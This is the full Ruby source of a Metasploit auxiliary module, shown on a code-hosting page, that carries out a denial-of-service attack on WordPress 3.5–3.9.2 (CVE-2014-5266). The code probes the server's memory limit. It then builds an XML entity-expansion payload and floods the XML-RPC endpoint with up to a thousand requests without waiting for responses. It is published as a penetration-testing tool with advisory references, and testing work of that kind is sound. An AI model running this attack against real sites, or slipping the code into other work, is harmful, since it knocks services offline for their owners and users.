CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HTTP::Wordpress
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Wordpress XMLRPC DoS',
13
'Description' => %q{
14
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
15
This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
16
also patched).
17
},
18
'Author' =>
19
[
20
'Nir Goldshlager', # advisory
21
'Christian Mehlmauer' # metasploit module
22
],
23
'License' => MSF_LICENSE,
24
'References' =>
25
[
26
['CVE', '2014-5266'],
27
['URL', 'https://wordpress.org/news/2014/08/wordpress-3-9-2/'],
28
['URL', 'http://www.breaksec.com/?p=6362'],
29
['URL', 'https://mashable.com/archive/wordpress-xml-blowup-dos'],
30
['URL', 'https://core.trac.wordpress.org/changeset/29404'],
31
['WPVDB', '7526']
32
],
33
'DisclosureDate'=> '2014-08-06'
34
))
35
36
register_options(
37
[
38
OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])
39
])
40
41
register_advanced_options(
42
[
43
OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),
44
OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])
45
])
46
end
47
48
def rlimit
49
datastore['RLIMIT']
50
end
51
52
def default_limit
53
datastore['DEFAULT_LIMIT']
54
end
55
56
def fingerprint_step
57
datastore['FINGERPRINT_STEP']
58
end
59
60
def fingerprint
61
memory_to_use = fingerprint_step
62
# try out the available memory in steps
63
# apache will return a server error if the limit is reached
64
while memory_to_use < 1024
65
vprint_status("trying memory limit #{memory_to_use}MB")
66
opts = {
67
'method' => 'POST',
68
'uri' => wordpress_url_xmlrpc,
69
'data' => generate_xml(memory_to_use),
70
'ctype' =>'text/xml'
71
}
72
73
begin
74
# low timeout because the server error is returned immediately
75
res = send_request_cgi(opts, timeout = 3)
76
rescue ::Rex::ConnectionError => exception
77
print_error("unable to connect: '#{exception.message}'")
78
break
79
end
80
81
if res && res.code == 500
82
# limit reached, return last limit
83
last_limit = memory_to_use - fingerprint_step
84
vprint_status("got an error - using limit #{last_limit}MB")
85
return last_limit
86
else
87
memory_to_use += fingerprint_step
88
end
89
end
90
91
# no limit can be determined
92
print_warning("can not determine limit, will use default of #{default_limit}")
93
return default_limit
94
end
95
96
def generate_xml(size)
97
entity = Rex::Text.rand_text_alpha(3)
98
doctype = Rex::Text.rand_text_alpha(6)
99
param_value_1 = Rex::Text.rand_text_alpha(5)
100
param_value_2 = Rex::Text.rand_text_alpha(5)
101
102
size_bytes = size * 1024
103
104
# Wordpress only resolves one level of entities so we need
105
# to specify one long entity and reference it multiple times
106
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
107
xml << "<!DOCTYPE %{doctype} ["
108
xml << "<!ENTITY %{entity} \"%{entity_value}\">"
109
xml << ']>'
110
xml << '<methodCall>'
111
xml << '<methodName>'
112
xml << "%{payload}"
113
xml << '</methodName>'
114
xml << '<params>'
115
xml << "<param><value>%{param_value_1}</value></param>"
116
xml << "<param><value>%{param_value_2}</value></param>"
117
xml << '</params>'
118
xml << '</methodCall>'
119
120
empty_xml = xml % {
121
:doctype => '',
122
:entity => '',
123
:entity_value => '',
124
:payload => '',
125
:param_value_1 => '',
126
:param_value_2 => ''
127
}
128
129
space_to_fill = size_bytes - empty_xml.size
130
vprint_status("max XML space to fill: #{space_to_fill} bytes")
131
132
payload = "&#{entity};" * (space_to_fill / 6)
133
entity_value_length = space_to_fill - payload.length
134
135
payload_xml = xml % {
136
:doctype => doctype,
137
:entity => entity,
138
:entity_value => Rex::Text.rand_text_alpha(entity_value_length),
139
:payload => payload,
140
:param_value_1 => param_value_1,
141
:param_value_2 => param_value_2
142
}
143
144
payload_xml
145
end
146
147
def run
148
# get the max size
149
print_status("trying to fingerprint the maximum memory we could use")
150
size = fingerprint
151
print_status("using #{size}MB as memory limit")
152
153
# only generate once
154
xml = generate_xml(size)
155
156
for x in 1..rlimit
157
print_status("sending request ##{x}...")
158
opts = {
159
'method' => 'POST',
160
'uri' => wordpress_url_xmlrpc,
161
'data' => xml,
162
'ctype' =>'text/xml'
163
}
164
begin
165
c = connect
166
r = c.request_cgi(opts)
167
c.send_request(r)
168
# Don't wait for a response, can take very long
169
rescue ::Rex::ConnectionError => exception
170
print_error("unable to connect: '#{exception.message}'")
171
return
172
ensure
173
disconnect(c) if c
174
end
175
end
176
end
177
end
178
179